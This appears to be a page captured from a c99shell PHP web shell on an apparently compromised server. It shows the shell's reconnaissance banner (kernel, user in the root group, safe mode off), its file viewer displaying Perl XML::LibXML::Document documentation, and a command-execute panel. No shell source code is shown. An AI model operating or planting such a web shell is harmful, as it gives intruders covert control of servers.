Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /usr/share/doc/libxml-libxml-perl/examples/ drwxr-xr-x |
Viewing file: Select action/file-type:
NAMEXML::LibXML::Document - DOM Document Class
SYNOPSIS
use XML::LibXML::Document;
$dom = XML::LibXML::Document->new( $version, $encoding ); $dom = XML::LibXML::Document->createDocument( $version, $encoding ); $strEncoding = $doc->getEncoding(); $strVersion = $doc->getVersion(); $docstring = $dom->toString([$format]); $bool = $dom->is_valid(); $root = $dom->getDocumentElement($name, $namespace ); $dom->setDocumentElement( $root ); $element = $dom->createElement( $nodename ); $element = $dom->createElementNS( $namespaceURI, $qname ); $text = $dom->createTextNode( $content_text ); $comment = $dom->createComment( $comment_text ); $attrnode = $doc->createAttribute($name [,$value]); $attrnode = $doc->createAttributeNS( namespaceURI, $name [,$value] ); $cdata = $dom->create( $cdata_content ); $document->importNode( $node [, $move] );
DESCRIPTIONThe Document Class is the result of a parsing process. But sometimes it is necessary to create a Document from scratch. The DOM Document Class provides functions that are conform to the DOM Core naming style. It inherits all functions from XML::LibXML::Node as specified in DOM Level2. This enables to access the nodes beside the root element on document level - a DTD for example. The support for these nodes is limited at the moment, so I would recommend, not to use node functions on documents. It is suggested that one should always create a node not bound to any document. There is no need of really including the node to the document, but once the node is bound to a document, it is quite safe that all strings have the correct encoding. If an unbound textnode with an iso encoded string is created (e.g. with $CLASS->new()), the toString function may not return the expected result. This seems like a limitation as long UTF8 encoding is assured. If iso encoded strings come into play it is much safer to use the node creation functions of XML::LibXML::Document.
Methods
SEE ALSOXML::LibXML, XML::LibXML::Element, XML::LibXML::Text, XML::LibXML::Attr, XML::LibXML::Comment
VERSION0.90_a |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]-- |